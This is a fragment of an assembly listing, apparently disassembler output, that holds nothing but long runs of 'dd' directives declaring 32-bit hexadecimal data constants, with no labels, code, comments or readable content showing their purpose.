		dd 0ED98A7h, 16AA40C9h,	7050D97Bh, 0A1E5A200h, 4A363DC6h
		dd 0B2B0F2Fh, 1F20DA01h, 0B25A6004h, 8F64A600h,	5F5B55F1h
		dd 209CB28Ah, 6800DA39h, 0ED172F57h, 0BDD350h, 0F4F15BB3h
		dd 6081204Dh, 0A2CFD401h, 0AED2E9BAh, 7641830h,	6E9DC16Bh
		dd 0C07E8010h, 1703B145h, 0F975493Bh, 1668725Ah, 0D3DDD8h
		dd 0C96E2373h, 46C4702Eh, 0E880F922h, 0FC33651h, 0DC9A345Ah
		dd 452DF041h, 82DEC027h, 5501D47Eh, 0AE8F2080h,	0F7C1A36Dh
		dd 7B37FE4h, 0F0EBC066h, 591BC15Bh, 9052C003h, 0D9992000h
		dd 0DCD42AC2h, 1CE27806h, 4FB438EBh, 1100083Bh,	92B8D525h
		dd 125BCA03h, 0A037CFE1h, 1B0E595h, 0FD2DED0Eh,	30629F70h
		dd 0BF1F98E3h, 0DC00B910h, 0A126AD43h, 173600A4h, 710740C6h
		dd 2C00E619h, 0B076E14Ah, 41A8D5h, 0F0613C5Eh, 8A850A56h
		dd 0B305FC07h, 29D3C17Ch, 8B6F066h, 0FD8F1EF2h,	0F8E4CDh
		dd 63271458h, 35093383h, 5608FFh, 1EFB8633h, 43EE02C6h
		dd 98B81CF7h, 0EBDCC4C1h, 0A9487DE8h, 3427A600h, 0EBA46DC9h
		dd 67D90984h, 8F5FA2C3h, 6877A067h, 7FAB0807h, 2F6758Dh
		dd 365CD1B4h, 5E0B5AEh,	31385E2Ch, 886E84D5h, 74C07226h
		dd 278DDA0h, 412B3993h,	804365E3h, 904DAC98h, 2079B71Ch
		dd 89EA807Fh, 5FE1178Dh, 1342646h, 0CF150074h, 577A372Dh
		dd 852C100h, 6F7C1C4Eh,	0EF7200A5h, 7890AE02h, 48241598h
		dd 43001C5Dh, 71E0F940h, 13B751Eh, 0BD78E567h, 0DCF08813h
		dd 9500C69Dh, 860634C5h, 7D4C159Ah, 0E46200AEh,	0BD6CB12Fh
		dd 40008ECFh, 0E1FB656Eh, 4C9945FCh, 0CD00CC16h, 1A80628Fh
		dd 0E900F361h, 7095B19Fh, 5566C01h, 0CAD1ABB9h,	998D1D7h
		dd 0EE7820C8h, 9BFE7607h, 9AB736ACh, 0DF68B10h,	0E72B06D6h
		dd 28C94B28h, 198A7401h, 1EE98CFh, 19834CF1h, 0A12A189Bh
		dd 2D4ED198h, 0C764BF6h, 7D054501h, 0D080DD4Dh,	89E2B840h
		dd 49C100B2h, 0D8A48CBCh, 0BA0F2986h, 6F852460h, 7BBD6159h
		dd 3C6095A5h, 0E4144C8Eh, 38DC5h, 5E0699BCh, 0AA30DADFh
		dd 6B0C5817h, 612AF205h, 0DC5D39A2h, 88BAC421h,	7F4D2900h
		dd 282E13D7h, 2A84058Fh, 0AEBB80h, 0DD21FD90h, 0F359CC9Ch
		dd 0AA1F0460h, 84C0B4D5h, 6A9E41h, 0C03611D2h, 0B728C703h
		dd 20551018h, 39991968h, 0EC80DC3Ch, 808314CCh,	4008121h
		dd 0F9FB95F7h, 3A734Dh,	4E655D3Ch, 0E7DD44BDh, 0C79D5609h
		dd 4BD30061h, 0E6A332h,	8A427E57h, 195F630Dh, 0C248207Ah
		dd 43BD0048h, 0FD5A3FAEh, 0FB8B049Fh, 8097555Fh, 0AB334194h
		dd 246012E0h, 95340A10h, 71B000B9h, 0F93951D0h,	22029796h
		dd 0F1497338h, 9EC841BDh, 28D28C48h, 7CA4AB5Fh,	9C9F0C33h
		dd 0AE108277h, 8169E83Dh, 859A6E63h, 3C645534h,	0BF990093h
		dd 8810F642h, 8F0AD8F1h, 98A16459h, 0D58CDF00h,	94FC248Ah
		dd 0DB980094h, 0BD69AB5Ah, 0EB53DE0Ch, 42643Dh,	0C42CC0E7h
		dd 1050FA2Eh, 0B7326117h, 0A00E412h, 8FD423A4h,	0D3302EC9h
		dd 698B0008h, 34ED6059h, 0F143C807h, 5EA06E18h,	2683BEC1h
		dd 1DD040B1h, 19AB00A5h, 0AA7D281Dh, 2CC66B00h,	0B34145E4h
		dd 0C9690E97h, 6580409Ch, 2AD10305h, 0D21CB403h, 0A8FE0B25h
		dd 623F3C3h, 345CA110h,	6B0FF884h, 63253E02h, 0D03BBC69h
		dd 6281521h, 849E6281h,	761CAAAEh, 0F7C0770Dh, 5ACCDBC1h
		dd 464A0068h, 0E3B78C58h, 0F0FDAB0h, 0C5016D35h, 5CC0EE2Eh
		dd 13E21ADh, 0E1E2699Eh, 0E01F77FAh, 1724BDC3h,	0AB00F089h
		dd 0DE8696A4h, 1F55757Ch, 1FAE6Ch, 6D0D3E94h, 0EC008F8Bh
		dd 9B8D6993h, 24DA9E24h, 74D702h, 53177E71h, 7724EA50h
		dd 6940ACFAh, 0EB6ED0h,	7316888Bh, 8538A9E7h, 7D908949h
		dd 96D00402h, 0E063ADD6h, 12AC59A4h, 0FF9D02h, 1D07CF38h
		dd 0F5603855h, 9FA3F21h, 0B50F00DFh, 0D6402D5Ch, 0BC01AE88h
		dd 0EB6F65F2h, 1C858BEh, 222C927Bh, 1D2421A4h, 0C700B88Bh
		dd 0FCEA0365h, 4478036Ch, 4E921B9Ch, 83A791F1h,	4C3E1E98h
		dd 0C757C093h, 6F37440h, 1A2F54EFh, 69008866h, 6F89A50Eh
		dd 0FCAFDFh, 0F9F4790Bh, 0BA332744h, 0F400E2D7h, 104B76B8h
		dd 61B70068h, 990D2A14h
		dd 6B004CB4h, 0FB1B08E6h, 8C1FC2h, 0E5F81D3h, 0DA23D910h
		dd 4C51D602h, 0C2858A5Ah, 0B9B8E05Dh, 8DA100A6h, 0DFFF50E4h
		dd 7CFCFEFDh, 4059500h,	5E0844B1h, 0ABAF2542h, 8FC02C80h
		dd 0E8FC59CFh, 3DAC1D0Bh, 8B9C0071h, 258A30h, 68070103h
		dd 2760D6C5h, 0FADE1102h, 689772E0h, 0ADE940h, 0DBB44820h
		dd 6341B77Fh, 0DD7BF809h, 0F3AC0093h, 0F7222Bh,	0ED95BC6Ch
		dd 0D1C2C823h, 0FECEB609h, 6030011Fh, 0D8CD699Dh, 6808D9F3h
		dd 0A240FE31h, 0E96A8A5h, 72633421h, 0E422C0DFh, 9EB9AA5Ah
		dd 0E63CF290h, 77E78014h, 0FC5C5957h, 2B800FEEh, 56C0892Dh
		dd 74CD0D7h, 3EDD2300h,	1EAA39D6h, 0A352399Dh, 40B8BA9Ch
		dd 257A124Fh, 0FA008EDCh, 780A5D7Eh, 7CE6FFh, 4660B0F8h
		dd 0B7CC44C9h, 6FDF8B1Fh, 0EB566D00h, 60DEF5D8h, 0D2329E85h
		dd 0D1626BEh, 840107Bh,	71FECB6Bh, 776600C8h, 0E9E4D1B3h
		dd 3FF0B44Ah, 0DBD9BB00h, 2C653E64h, 3325018Dh,	0ED45EAFBh
		dd 67C5437Bh, 0E68CE5C0h, 0E057A71h, 9F59DAFEh,	57D8F800h
		dd 693BB537h, 600F1169h, 1178C706h, 0D037A71Ch,	0C9A1BE00h
		dd 756824F5h, 0FB220086h, 95037FCFh, 0DF140FC7h, 8FDC0Bh
		dd 1B3424EFh, 0C2D26h, 0F4050ABDh, 3FFE19CAh, 0D9D78037h
		dd 0E6D6CCB1h, 0BD09D740h, 0FE157A8Ch, 0DDFE0581h, 431E9924h
		dd 9FB0B880h, 0F183BAD9h, 0A00C4030h, 46F64AA3h, 6907B700h
		dd 44CCF306h, 0EC7FE454h, 94760F82h, 0CC0130Eh,	45F8F425h
		dd 0E95E6E00h, 6F4A9AAEh, 0F273D18h, 644797h, 1E668DB4h
		dd 1317B32Ch, 0E31876AEh, 9A985B0h, 0A5F022FDh,	700882Eh
		dd 5D096592h, 0FCD14328h, 2D4A9700h, 5C42B290h,	0C66100EBh
		dd 3B5D7737h, 4C4CED8Fh, 0D9E102BFh, 40C30635h,	4F7AC954h
		dd 0DA0C0109h, 34A43470h, 0F0012360h, 6C8A6BE2h, 72C57E52h
		dd 2F8F8F3h, 827C0170h,	62E21A8Eh, 4647C476h, 0DB248900h
		dd 0FD07B0D5h, 0FC190037h, 79AAAF31h, 2C0F267Fh, 78910E20h
		dd 0F3D360h, 8DA3B770h,	0C1A0279h, 0A8845A24h, 0A5F19E3Ch
		dd 0B15139C0h, 107C0FCh, 0F90FE86Ah, 708C0801h,	5017CD8h
		dd 8ED3F833h, 0C960875Bh, 0F0F903E6h, 0EFF4EB54h, 0E71C8096h
		dd 0F126C33Ch, 0C1993800h, 0E0DC6813h, 0F054001Fh, 0F9299746h
		dd 0E5605505h, 482A9640h, 811B1E8Fh, 0A1B6804Dh, 3E9A0312h
		dd 55C22F01h, 0DA0C209Fh, 385E60h, 76927A31h, 7DDC23B5h
		dd 0C1B9DD03h, 0B859EEA7h, 0E4218883h, 61C90E4h, 0D5A5EB14h
		dd 59004850h, 0A1B13310h, 9EC0C5A7h, 9024D0h, 0D55EA460h
		dd 98A091F9h, 760236CEh, 0AA9C5554h, 60BD42DDh,	8B89FBh
		dd 0BC85AB63h, 0BA1F0AC4h, 0DB1D68C0h, 60487094h, 0D91740ACh
		dd 8B03027Bh, 4C3FE2BFh, 40181DB0h, 2A3CC0D7h, 5AC641FBh
		dd 0B986F58h, 0D47BDBh,	7F5EB6F8h, 731109C9h, 0A86B54FCh
		dd 9EEC8AA8h, 4A1D6778h, 3940E619h, 8F5BB54Fh, 3B330211h
		dd 0C054A9A7h, 0CD351160h, 0BEE4B800h, 39053A4Bh, 8FA80048h
		dd 9D5D13C4h, 0E21FC557h, 0CD800F56h, 9440451Bh, 9D03BB5h
		dd 0F85CB800h, 81E61739h, 47046A1Eh, 0F4E22580h, 53A6FBh
		dd 0AF9BF345h, 2C6DFDB6h, 482DBB0Ah, 1908C00Ah,	62AE8099h
		dd 87B63DCDh, 0B4F5CF2Eh, 0C7C06F80h, 5048534Dh, 7D5AD83h
		dd 862B079Dh, 0B70BE019h, 9509A618h, 80B1C870h,	149D6333h
		dd 43E00123h, 0F15C9EBEh, 0E6EAFCA9h, 0C9E2823Ah, 0FD12007Ch
		dd 6C134C58h, 0D55A002Eh, 37DEE531h, 5961E21Eh,	0BFFB02A0h
		dd 9F3E0F00h, 0C40DE400h, 4B3AEA55h, 0B69E0549h, 0C24A25BDh
		dd 0C860CF74h, 2B0076DEh, 6F8B2FD8h, 6022BEAAh,	0E250D111h
		dd 3800B9BCh, 0B1D72AFh, 1351EB4Fh, 150F10h, 0CDD73C0Ch
		dd 880961C2h, 20CAAAD8h, 1FC549FCh, 90BAE6EDh, 73A0028h
		dd 829C4783h, 34FDEA17h, 64000C80h, 868C5CCAh, 3A35BD4Ch
		dd 0A8804914h, 4FFE4B41h, 20004ADh, 0A0E46FDEh,	69CCECh
		dd 7E44A371h, 55B89CCDh, 9F1AD12Eh, 0B0372E00h,	6A17E8h
		dd 54A30CFDh, 0C1CE9567h, 0F23BAC90h, 97108B6Dh, 62CC04B8h
		dd 375214C1h, 2CAD6EE4h, 392D6516h, 6700303Ah, 0BCE60811h
		dd 5301D1FBh, 0DF2BD83Dh, 0EC2002D0h, 6BA3000Dh, 0DA4BDD32h
		dd 8000147Eh, 0B2226F5Fh, 3D8CEDB6h, 10025960h,	1D67AC49h
		dd 0A53F1C40h, 75B9C00h, 17525F78h, 24EB007Bh, 0A2796412h
		dd 0FFFC33B6h, 34AFD700h, 0D9DAE635h, 445A0094h, 0DC708C6Eh
		dd 0ABF63A1Dh, 0BAAE0E00h, 0DDCE6B34h, 48080067h, 0B96E637Bh
		dd 0E500B15Ch, 36599DBEh, 251FFFh, 301699AFh, 3A32EC0Eh
		dd 0BC7E0100h, 0D92F5629h, 60620F44h, 1CE0D047h, 0D6807BD5h
		dd 0B9387407h, 58A0CB0Ch, 98A4ED56h, 0D06270Ch,	9B502081h
		dd 0D7808FDFh, 18AF6094h, 3912598h, 9E2A5630h, 16C0D21Bh
		dd 2B7C55F5h, 0A9D48200h, 0A4CC1F05h, 142E00DDh, 0FAAA67DCh
		dd 404F9181h, 9600DABCh, 2CD06599h, 0B0274E41h,	0A4C8637Fh
		dd 5858A0h, 0F96CEBA7h,	379B39ADh, 675AF3Fh, 0A30F165Fh
		dd 2D0E3B10h, 86E7E081h, 0E415264Eh, 0BD0382F6h, 0E1058909h
		dd 9F2800A2h, 0EF2D5C29h, 0C3006E73h, 0E01B1882h, 0C91EBB97h
		dd 88C45271h, 89FD2D00h, 335DB9E1h, 271E04A0h, 8143AD53h
		dd 0C8808490h, 0FB00DF95h, 3D418B1Ch, 2736ECh, 0A29F4FC7h
		dd 8189493Bh, 0D025FA07h, 0AE50A750h, 0E438908Ch, 86C5CE1h
		dd 8040211Fh, 444C37DDh, 0CC09C273h, 0FF6DD4B3h, 30050187h
		dd 7CA3ADFEh, 18045A0Eh, 0A5E24799h, 91CD9CA0h,	691B00BAh
		dd 9F15C335h, 0F8014DC5h, 5ADD4B1Eh, 8740E18Fh,	28671F27h
		dd 0DC9E92h, 5466EC29h,	434D6FF8h, 40003EEAh, 0AA4BF934h
		dd 192266Ah, 0C931F0B7h, 0F07F251Bh, 0E9EED40Ch, 5B0B1F00h
		dd 8E04EB5Fh, 98A418h, 46AFD170h, 0FE2FDD42h, 3B1C6459h
		dd 8A418178h, 5F6303DFh, 98592460h, 44F600BEh, 8C47E65Eh
		dd 34B8BFEBh, 0F200AF7Ch, 432DB6F5h, 0ECBE3AAAh, 0E392FC1h
		dd 0B593B880h, 1400F347h, 25C93640h, 0E94CA0h, 8DBFA8Bh
		dd 0BCFCC5A6h, 7350CB67h, 0C9EA005Bh, 0E52FE6h,	983A40A0h
		dd 2BEDAD17h, 80442339h, 86FBFA31h, 0EEB450F9h,	69870079h
		dd 35DCE93Bh, 0AC1F94EBh, 40812180h, 5CD89E38h,	5C3067D4h
		dd 9800182Ah, 93780431h, 6C0E97C3h, 20836812h, 0EA2567FAh
		dd 1F547175h, 1332B0A7h, 984600ADh, 5BE0CB6Fh, 840B6500h
		dd 45526B89h, 19C83CFCh, 0A53C770Fh, 0D7D802E4h, 0C932E014h
		dd 0BFE44A36h, 0C2F4C001h, 0E9D30C49h, 0AC53E8h, 0D70EFF1Ch
		dd 0D0C53DD6h, 108C2E1Eh, 0F88BDB00h, 946E7076h, 0DF250F6Ch
		dd 3ED9C040h, 0C20F4032h, 604BBBCAh, 0E7E83A66h, 79CF0FE4h
		dd 0D6E03031h, 5CB7A987h, 64290D01h, 0C6AFD2E2h, 0FA56AF60h
		dd 0C9FD090Bh, 9C484109h, 0E2005AEEh, 0DEF9D1C5h, 7C24F75Bh
		dd 78C47DBEh, 67787CC1h, 80F610E2h, 94E003F0h, 0BA3C060Ch
		dd 94F9D85Ah, 0AE5F6EC4h, 0B880B958h, 0B71EEE9Fh, 0CF00903Fh
		dd 0C3DE28F2h, 30AD2E74h, 9418C5B1h, 0EC003B25h, 71EBB9CBh
		dd 0C0CAC951h, 55BCF258h, 0A74C570Bh, 4AE41974h, 5840E308h
		dd 3FE81CAh, 9F0FBC2Ch,	2112437Eh, 0EC91F723h, 0FFF8E89Ch
		dd 0FD0D005Ah, 76F5643Eh, 0B102905Ch, 517BF12Eh, 7D4307h
		dd 0E21F928Eh, 773D427Fh, 6B393Ch, 0D25ABF3h, 0BE5F09h
		dd 1EE8EDEAh, 5510EBF4h
		dd 1450BF03h, 8826F6FAh, 16DDF04h, 9B0B87E3h, 30AED0C0h
		dd 10122912h, 14008EA0h, 13D1CE5Dh, 0E00F0085h,	7E4370E1h
		dd 440CDDFDh, 0B8E59964h, 150E0052h, 6F8AB989h,	50036F3h
		dd 71AD4A18h, 1E1940F4h, 409D65EAh, 1ED90446h, 1801AAD6h
		dd 260B5CBAh, 806A2824h, 0B13BA80Ah, 2F032A00h,	71DDE65Fh
		dd 6A8B0084h, 79D78DDFh, 0E3006E12h, 26B1B7FDh,	77F3137h
		dd 9536BAEh, 500BFBF0h,	35E85300h, 16099277h, 85511F9Bh
		dd 6CC44508h, 71370880h, 1577BF5h, 0D3AC7046h, 0D00D7740h
		dd 28795B63h, 62A60F1Dh, 2900DD9Dh, 0FC6CA8C8h,	5C6100A1h
		dd 0E59803B8h, 0A007426Fh, 990420B1h, 0D83D7F03h, 745F1A52h
		dd 727CC3h, 0D93FDAA4h,	0AE018D88h, 87006471h, 0C75B9A76h
		dd 0FB3C02h, 3F55B6F2h,	0C4A9E10Dh, 37DA6000h, 0CA461735h
		dd 78A20032h, 1018D7EEh, 1F00B58Dh, 7354F79Dh, 0FD819Ah
		dd 8986BFD1h, 0E8E24A45h, 0DBAE3413h, 79AD4000h, 4BD839DCh
		dd 150127Dh, 2BEE46C0h,	0BF522058h, 3F8B3D07h, 815F8C3Eh
		dd 0EAA8E0DDh, 30A58FE9h, 0F27EFC83h, 245F3F90h, 6C6159h
		dd 0D81D6D63h, 58597369h, 0A305888Bh, 307D1Fh, 68F8F9AFh
		dd 0BB1238CEh, 44B05280h, 83940670h, 5053AD40h,	1D6C6A10h
		dd 8CA24B78h, 9C000CD4h, 60E67956h, 9243911h, 5DA27B85h
		dd 3934100h, 0BA00C5F0h, 3AB2C467h, 511DCEEh, 5124AF28h
		dd 0D08787A1h, 0D158C7ABh, 0D2F5B500h, 86F87673h, 0B25C0397h
		dd 3055B8AAh, 0FA800A8Ah, 6D2549FDh, 0B6AEBD00h, 963B41BFh
		dd 28896065h, 3E4AEFE9h, 0C4ACB095h, 0C0242545h, 8CF77800h
		dd 413910F3h, 0F8D10ED2h, 16D1184Ah, 2E1E0146h,	0B05010D5h
		dd 4D9DEC5Ch, 12A320Fh,	7D50D8AAh, 0D81700CCh, 0B49609F8h
		dd 1F0021C2h, 0AB7E563Bh, 0ECA06D84h, 0A2600025h, 860774BCh
		dd 0FA0045D1h, 76631CC4h, 1F305DABh, 0CAE41AADh, 8B48629h
		dd 9F89D866h, 67E4408Bh, 4D5B0004h, 812D12FCh, 0B0B0921Dh
		dd 0A7744F0Eh, 26FBE0F9h, 390542Fh, 0C03E1F1h, 1B88801Eh
		dd 0BF3FF9A9h, 537F7A1Ah, 606FEB30h, 67C222h, 0CD7E7866h
		dd 58AB84DFh, 270E8F00h, 0BAE4F421h, 0DE3A0004h, 0BFCC9768h
		dd 0DC001210h, 1461C8C4h, 5AED75E5h, 7F9CBC07h,	0FD7D34B2h
		dd 0AFB97203h, 0C0EF293Dh, 1E62C990h, 0C0392836h, 6889AAF5h
		dd 1F016C2Dh, 23A64F72h, 0D020E843h, 0BA5900C0h, 0C4843791h
		dd 0E24EEE0Ah, 7F541Dh,	0D234390Fh, 38BD88BEh, 8F810DC1h
		dd 91799CB7h, 0B468D4h,	0E550FFF6h, 0A384DB6h, 0F38A3207h
		dd 16ED03ECh, 29003B0Ch, 0B8DF7B1Ch, 7B98660Ah,	6FBA3BA5h
		dd 10B524h, 0DFA90CA2h,	0A4B84EE8h, 0CE97841Dh,	27C0899Dh
		dd 0F3B40AE6h, 1BF50059h, 5156E3DEh, 7A3923A0h,	0F9077F1Fh
		dd 1A1D2782h, 885059h, 0A42199DAh, 9BF30194h, 8083FC05h
		dd 0E8022BC0h, 5F77B1h,	6D4DEC9Ch, 0A7789160h, 413FCBFh
		dd 7EE6BB51h, 47A082CCh, 0C7561D60h, 9B4B9700h,	4F0491EDh
		dd 90873069h, 54268138h, 8760AD3Ch, 0CD8577C0h,	7ECC61E9h
		dd 0A912F140h, 4E463AB0h, 0D94F983h, 0A6D02620h, 0D6002A3Ch
		dd 0B7513AF7h, 5019AC54h, 7BD044h, 0F33C4038h, 0E1903565h
		dd 800A7D00h, 45917F5Ch, 0FDC30069h, 67DA7447h,	96007751h
		dd 0C24CF9FBh, 39FEB62h, 14D293ADh, 8BC072F0h, 0DE1C4DCEh
		dd 5FC03961h, 0E3F28D2Ch, 1ED500DFh, 41D5C5Ah, 8F0201DDh
		dd 2ABCB16Bh, 0E1306185h, 12016422h, 1989E5FEh,	7460EAF5h
		dd 9348AC1Fh, 0C2E01D90h, 9E2BBC4h, 586518B0h, 7B019A3Fh
		dd 0A1E7D8EFh, 840C65Bh, 0BB09464Fh, 1A467BDh, 7066CCAh
		dd 2434D520h, 28EEBBCh,	5094365Fh, 0FC689068h, 5F57301h
		dd 4ACE5B5Eh, 31781880h, 0F130423Dh, 15A61D0Bh,	406E896Fh
		dd 840C2AACh, 3BD49F20h, 2900B443h, 880D4056h, 0F005CB5h
		dd 34105F78h, 72FA0A9h,	0B4415EF0h, 0EFFA548Ah,	77674180h
		dd 961C90FCh, 0CDF0028h, 35142CE1h, 49484B00h, 5C1FC7B1h
		dd 0F52200F4h, 0D9A621F8h, 4600BD5Dh, 0EAD38292h, 3ED8F69h
		dd 234DEB3Bh, 8A989BF0h, 862637ABh, 0B700D453h,	0A3D9E3C3h
		dd 0EDAF00EBh, 24706141h, 0C517520Ah, 0C9006A22h, 603FB62Eh
		dd 68DF00B0h, 7B8B43E3h, 20F2A34Eh, 71990B1Fh, 9B415707h
		dd 0B6A52F00h, 0DEAA48E6h, 24649625h, 0BAF3313h, 7280705Eh
		dd 4247080Ah, 0FD904Fh,	753AEAD1h, 0F8E2E1C6h, 987D5C71h
		dd 0E7B7AA00h, 43448078h, 61C1009Fh, 863C3625h,	0BD1727B9h
		dd 390048BAh, 4F4B94DBh, 747A00DDh, 51BCC1D8h, 0DF1E3C5Dh
		dd 5E81BF61h, 0C71B09C4h, 7FCDEFEDh, 628FF8h, 61F3D0D5h
		dd 1EE16D5Bh, 7CEAD400h, 176E1321h, 0FCB0008Eh,	0A31BCFA6h
		dd 0C1035AC8h, 1C4B093Ch, 9F94B8FAh, 0A2B50084h, 728AC057h
		dd 1803CC21h, 36C31D51h, 5D48C8B2h, 0B93A00B6h,	10833F5h
		dd 590315E6h, 3665E1BCh, 0CB31A0BAh, 78A901BBh,	0F926A14Dh
		dd 0E5AED423h, 2EC94E00h, 0A24B4761h, 0B7B407CFh, 30676B30h
		dd 0B0E0D4AAh, 54573400h, 0E1DE9B32h, 257707D9h, 23501DE9h
		dd 0A00781F9h, 0FE4807BAh, 99C6CBC0h, 256D3F56h, 0C868B683h
		dd 0C8095038h, 83616575h, 3C853C2Bh, 0E4002D10h, 0E7714620h
		dd 0BB0121FBh, 7B69123h, 1FF1FE09h, 7A3999DCh, 8468C0C1h
		dd 813F4BFBh, 5D43A900h, 3E4788CEh, 0D7DC00BFh,	36CB5FF0h
		dd 210F2EA1h, 251B601h,	81CE3858h, 56B83020h, 792BAC50h
		dd 74417996h, 3E432A70h, 80680034h, 0B3B7CA7Eh,	0A73D463h
		dd 3AF4F17Bh, 7487AB1Eh, 7CAAD9C0h, 1EA4AEh, 39D3C1CFh
		dd 0FB461A31h, 97E1E000h, 758ABE29h, 0FC7B7564h, 79300947h
		dd 6C002F62h, 0B0E25D4Bh, 6C48100h, 24BBED28h, 0C33400B2h
		dd 4C29ABD2h, 521F1B40h, 0E80A06Fh, 0F30DAFE6h,	845C00CBh
		dd 3562E423h, 9AE4DC2Dh, 0FBBA3300h, 15B151FDh,	18313CA2h
		dd 4C91B780h, 1AC82F3Fh, 0FC98D00h, 454E13F8h, 0ABFA0054h
		dd 88A58C97h, 0B60EBFBEh, 7F4C01E0h, 3BF0BA95h,	0A1DC0068h
		dd 196FC65Ah, 0E15302C1h, 3EBE3D94h, 0D7209840h, 134EA200h
		dd 272CA602h, 0F46D247Ah, 77A30080h, 1F1BEF6Ah,	0EEA0C200h
		dd 0D6CF219Fh, 4F3403CEh, 33CB25A4h, 238C7BC0h,	3F948324h
		dd 0CEC61A1Dh, 974E86CCh, 4A11E980h, 0BD5CC089h, 41B00ADh
		dd 94A97D31h, 5EA6003Bh, 0B538DF96h, 82033632h,	0DBA314D9h
		dd 60FFD791h, 15AA9384h, 8AFEB9h, 13BA2B80h, 0F4382E04h
		dd 87008B79h, 1FABD8D5h, 0CD574Fh, 0DEDF89A5h, 669972E9h
		dd 0B9922F00h, 0B00E32B6h, 0C188007Eh, 56F26CCEh, 0CFF27F3Bh
		dd 0F1E45D01h, 0ED9CB0FCh, 8F82D0h, 4B7D80D1h, 1CADCA36h
		dd 0E0336200h, 0D97ADF42h, 2415018Eh, 5DD25B0Ch, 0DFDFCCAh
		dd 69789574h, 941FB200h, 328505FBh, 10DD003Fh, 7CAE1B54h
		dd 77009042h, 7D4D9D4Fh, 764BEFDCh, 94A80017h, 0A708B7EBh
		dd 0B890CCABh, 5CDA200h, 6F1DC0AEh, 0B3800097h,	0DD5E2D9Dh
		dd 7B016228h, 0B7BF6E0Ch, 0DE60FC2Ah, 51A509B4h, 9820BE46h
		dd 56B20EEBh, 80D3AF00h, 24A73499h, 3D9B3E50h, 0C14216h
		dd 1FA6EBE0h, 0CB01874Bh, 0C62D0161h, 9EE8A46Eh, 38146038h
		dd 9172F24Dh, 666B1C00h, 0D3A54846h, 0B51500D9h, 35945902h
		dd 1000F586h, 9D31EAB4h, 88D490h, 0ABB9FA36h, 7B2FDFE9h
		dd 0FCC404C0h, 1FE359Eh
		dd 5063231Fh, 31D3A62Dh, 4759EC88h, 0F474F800h,	19F20FDCh
		dd 0C6E20062h, 7C0CB79Ch, 0D10740EDh, 6910F6D4h, 6EA0582Fh
		dd 0EAEED3h, 1A92A3FEh,	0B52F19BCh, 50372D00h, 8F1D8261h
		dd 1F5FE625h, 0C1D96BFDh, 693DC7Ch, 2C20309Dh, 0CCB07813h
		dd 51EA2900h, 0AA1D5676h, 0CADC4890h, 8A7000E2h, 7FF664Eh
		dd 0D70185C3h, 58417CDAh, 687055B8h, 817D71h, 1FC0822h
		dd 856C83B7h, 0A2E99100h, 0DFEFA4B3h, 623E3F84h, 0ABC4EE03h
		dd 3BF0AC99h, 25009CF6h, 0A5A871B9h, 0B823A439h, 0EDEB0047h
		dd 0A1F1FC66h, 0B005E4Ch, 45212002h, 7CB4206h, 0B1BDB826h
		dd 95CCDE73h, 0BC44F0D8h, 0A7220041h, 7A8F0382h, 5200303Eh
		dd 54AFF0C7h, 0FBCCDEh,	0ED637662h, 0B48518A3h,	444D1100h
		dd 81AF8DF3h, 62C10022h, 0DB802BADh, 800A6E8h, 0BAEC21CEh
		dd 0FA314Bh, 0E2D5E4FFh, 0A038F618h, 2081D903h,	9AB7884Dh
		dd 0BB6DE0BEh, 3A5601CCh, 0C79CEDD7h, 2804D88Dh, 530D000h
		dd 0D1D6B7E9h, 3543F18h, 0F9079FDCh, 30F1B1A6h,	30DD49F0h
		dd 0B2DB4500h, 9821655Ah, 0BA3938AAh, 0A0EA1B13h, 843B53F9h
		dd 0C16BA696h, 0B8B08803h, 91AEE876h, 0E4F900D9h, 0D02D03C9h
		dd 7E0050E6h, 7826274Bh, 2F5F07h, 0DC618699h, 0EFC5EC8Ch
		dd 3151D717h, 7B725500h, 0C65CA4h, 2157C0D6h, 0DBAC123Bh
		dd 35E0280Eh, 2158EE2Eh, 67959269h, 1C04FECh, 3CAD5627h
		dd 0BB45D589h, 0D0C80019h, 1184C9EAh, 3B313A62h, 25DD5F80h
		dd 0AF6E7E29h, 0CF8A0E00h, 0D8E69D33h, 94650E8Ch, 82E0C808h
		dd 1FF79302h, 87CEAF3Eh, 0E3CF8936h, 0F52CFDC0h, 9CA8030Eh
		dd 3DBB8A61h, 26C14F90h, 123589Fh, 0B0DDA521h, 405566ECh
		dd 9DEDB290h, 0C6043F00h, 0FEFDAF12h, 83D50113h, 1B21A834h
		dd 4755EC18h, 3200417Bh, 46E64B11h, 0C4986Ch, 6F7FF892h
		dd 99EBC2A6h, 57655800h, 0DF68D083h, 71523C04h,	4A628102h
		dd 0A880B809h, 36E9AC37h, 0D2BE4801h, 0B541C539h, 3E73B2DCh
		dd 29E7CE9Ah, 342B101Ah, 0DE028105h, 0BA4B07A3h, 9EC80EBh
		dd 0B22714h, 0DD59B18Dh, 0D4F457FBh, 22C1A200h,	0C9B879E6h
		dd 10A06F30h, 0DF1F49E0h, 750F0E86h, 43C3A60Fh,	485CB748h
		dd 0FF00B120h, 0F0F92FBCh, 640F8075h, 40572070h, 65B88405h
		dd 395EE9Fh, 4212EEF1h,	8800ED0Dh, 0FCFD85DEh, 0E99EFECCh
		dd 153C60h, 3A4E1E32h, 0AD1C3DA6h, 0D6DB2C01h, 3621C208h
		dd 779EECh, 0FC634FF8h,	8C2B4E94h, 38000C90h, 0FD51D556h
		dd 39FF9CBh, 5B457DE3h,	200190AAh, 65B2A39Ch, 0FEE85D46h
		dd 625282Eh, 677300D0h,	980A20C5h, 45007F8Dh, 805B88FAh
		dd 31F4394h, 99085D29h,	30037915h, 0FF565F41h, 4B114C6Fh
		dd 43E46900h, 97454449h, 0F164190Eh, 4235034Dh,	6F6298CAh
		dd 141B00D1h, 5827A9ADh, 831C2595h, 9B40EFF3h, 20B74F80h
		dd 0D378009Ah, 7AEBA16Ah, 70001CC6h, 213D49FCh,	3D404A39h
		dd 0F23AD5B1h, 439B2B00h, 735A687Fh, 32108B00h,	411869DBh
		dd 0D85D003Ah, 0BA625390h, 0D4007D08h, 0F86EB8A9h, 17D64Ch
		dd 0A537C858h, 0C61D9F90h, 48A8EB01h, 786509C9h, 0C80720h
		dd 0E4174591h, 0BFEAB18Ah, 0BC00D3E0h, 95503AFCh, 3EDD19B6h
		dd 5B80AEFFh, 0BD8EEDD9h, 0EB0F865Ah, 0A1478FBBh, 0BE4A8402h
		dd 0F98B820h, 27DBF9A9h, 5F447FE0h, 0DD1EFC94h,	6D408535h
		dd 2588D7E2h, 98BE659h,	48922BF5h, 3DB9B100h, 5200D572h
		dd 6DB29CC9h, 0EE3606B1h, 60800085h, 2C10CAA7h,	553FE4CCh
		dd 89A60058h, 0C19D6141h, 71813F8Bh, 76675B00h,	0D985FECBh
